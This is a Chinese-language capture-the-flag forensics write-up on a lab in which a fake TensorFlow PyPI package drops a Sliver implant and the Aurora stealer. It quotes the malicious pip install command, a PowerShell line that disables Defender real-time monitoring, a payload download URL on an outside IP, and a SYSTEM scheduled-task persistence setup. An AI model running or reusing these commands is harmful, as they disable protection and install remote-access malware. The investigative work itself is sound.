[CyberDefenders Write-up] 恶意 PyPI (从 pip 到 Sliver 和 Aurora stealer)
场景
作为一名SOC分析师,你需要检查用户收件箱中一个可疑的文档。你的同事说他没发现任何异常,但沙箱分析触发了告警。你的任务是深入调查该文档,确认其是否恶意。
分类: 端点取证
工具:
- EZ Tools
- SQLite 浏览器
- 字符串工具
- 事件日志浏览器
在此实验中,我们拥有从 C 盘收集的 Windows 取证 artifacts。根据实验名称,很明显这起案件涉及系统因安装恶意 PyPI 包而遭入侵。
问题与解答
Q1: Dr. Alex Rivera 最近下载了一个外部库,引发了对系统安全的怀疑。你能找出用于这次下载的具体命令吗?
当谈论 Python 包 (PyPI) 时,我们通常会用到 pip。获取通过 pip 安装恶意包的命令主要有两种方式:
首先是查看特定用户的 ConsoleHost_history.txt。这里我们只有 Administrator 用户,检查其控制台主机历史记录(存储每个用户的 PowerShell 命令行历史)后,发现通过 pip 从 a1l4m 的 GitHub(实验作者)安装了一个 Python 包。仓库名称暗示 Dr. Alex Rivera 认为这可能是一个合法的 TensorFlow 包,但正是这个包导致了系统入侵。
第二种方式是命令行日志记录(如果启用),但遗憾的是该系统未启用该功能——考虑到 a1l4m 是实验作者,这也在意料之中。
命令:
pip install git+https://github.com/a1l4m/TensorFlow.git#egg=TensorFlow
Q2: 调查中你发现一条修改系统安全设置、禁用 Windows Defender 的命令,该操作可能帮助攻击者。这条命令是什么?
由于我们有预读取文件 (prefetch) 可用于创建每个 .exe 文件的执行时间线,我使用 Eric Zimmerman 的 PECmd 工具解析了整个 prefetch 文件夹,查看 pip.exe 的执行时间。可以看到 2024-02-25 12:15 至 12:23 之间有 4 次 pip.exe 执行。我还注意到 setup.exe 很显眼,因为它是从假 TensorFlow 包安装时创建的临时文件夹中执行的。
命令:
PECmd.exe -d "C:\Users\Administrator\Desktop\Start Here\Artifacts\C\Windows\prefetch" --csv .
接着我解析了整个 Windows 事件日志文件夹(实际上应该只解析 PowerShell 相关日志),创建一个可通过 Timeline Explorer 打开的 CSV 文件,便于使用过滤器查找特定事件。我关注的区域是 PowerShell 日志,恶意包可能在其中运行 PowerShell 命令来禁用 Windows Defender 的实时监控。可以看到在 2024-02-26 12:22,执行了 Set-MpPreference -DisableRealtimeMonitoring $true,这与我们之前从 prefetch 中发现的 pip 执行时间一致。
命令:
EvtxECmd.exe -d "C:\Users\Administrator\Desktop\Start Here\Artifacts\C\Windows\System32\winevt\logs" --csv . --csvf log_timeline.csv
禁用命令:
Set-MpPreference -DisableRealtimeMonitoring $true
Q3: 根据你的时间线分析,你首次观察到导致 Windows Defender 被禁用的未授权安全设置更改发生在什么日期和时间?
答案: 2024-02-26 12:22
Q4: 安全设置被入侵后,系统上出现了一个新文件。该文件的 MD5 哈希值是多少?
从 prefetch 时间线可以看到,有两个 setup.exe 是从假 TensorFlow 包的临时安装文件夹中执行的。对其中任意一个生成哈希即可得到答案。
将该哈希上传到 VirusTotal(文件哈希: 5f8212f95007a5aceb61d3be86c7d1bdb03980ae8a3bd822c847d4c83c528330)后发现,这是一个 Sliver 植入物,执行后负责与威胁行为者建立反向 shell 连接。
MD5 哈希:
23aadf3c98745cf293bff6b1b0980429
Q5: 调查服务器上检测到的恶意文件的来源。在与外部 C2 服务器通信之前,该文件最初下载的确切 URL 是什么?
在 Windows 工作站上,使用 pip 安装包时会在 C:\Users\<用户名>\AppData\Local\Temp\ 创建临时文件。我们可以在 VS Code 中打开整个文件夹,使用“在文件中查找”功能搜索 Sliver 植入物的文件名,从而找到用于下载并执行 Sliver 植入物的 Python 脚本。
下载 URL:
http://3.66.85.252:8000/file.exe
Q6: 上一个问题中的文件开始与外部 C2 服务器通信。通信使用了哪个端口?
返回 VirusTotal,进入“Behavior”标签页,可以找到用于反向 shell 连接的端口。
端口: 8888
Q7: 攻击者通常通过持久化机制确保其对受损系统的持续访问。这种机制在 Dr. Rivera 的系统中是何时建立的?
再次检查 prefetch 时间线,寻找容易发现的可疑项,如 reg.exe 或 schtasks.exe 的执行。可以看到在 2024-02-26 12:36,schtasks.exe 被执行。我们需要查看此时创建的计划任务。
检查 Windows\System32\Tasks 文件夹,发现一个名为“SystemUpdatesDaily”的可疑任务,其修改日期与 schtasks.exe 执行时间戳相同。
检查该任务的配置文件可以看到,这个计划任务将在系统启动时以最高权限(system)执行 Sliver 植入物。确认计划任务创建于 12:36。
时间: 2024-02-26 12:36
Q8: 攻击者完成入侵后,在主机系统上留下了一个特定文件。根据你收集的信息,提供该文件的名称,它是在攻击者建立持久化后不久创建的。
在 prefetch 时间线上,我还注意到 system.exe 的执行,这不是标准的 Windows 可执行文件。
计算该可执行文件的哈希,其修改日期在事件时间范围内,因此该文件是在事件期间创建的(可以结合 MFT 和 UsnJournal 中的文件创建事件进行关联)。
将该哈希上传到 VirusTotal 后确认这是一个恶意文件,威胁标签将其标记为 Aurora Stealer。
文件名: system.exe
Q9: 确定问题 8 中识别的恶意文件开始运行的确切时刻。它首次执行是什么时候?
根据 prefetch 时间线,该文件首次执行于 12:42。
时间: 2024-02-26 12:42
Q10: 识别出问题 8 中的恶意文件后,确定其恶意软件家族名称至关重要。该信息有助于将攻击与已知威胁关联并制定适当的防御措施。问题 8 中的恶意文件属于哪个恶意软件家族?
从流行的威胁标签已经可以确定,查看社区标签后,许多恶意软件沙箱也将其标记为 Aurora Stealer。
恶意软件家族: Aurora Stealer (Aurora 窃密器)
CSD0tFqvECLokhw9aBeRqpNzLTXFlojmzFn6OlyTg9XWnhAP6q5FfiGb63VkvyGK4Ts3fFgibXiazrLEdjF1SLWRkmZG8toxbNpAbUM74/kzMRNdLOahR4saFgOpa9EOQEw+1x7NmlRnEAvVbzcj2a4vGpy1VmCzljt2Wfxl0cM=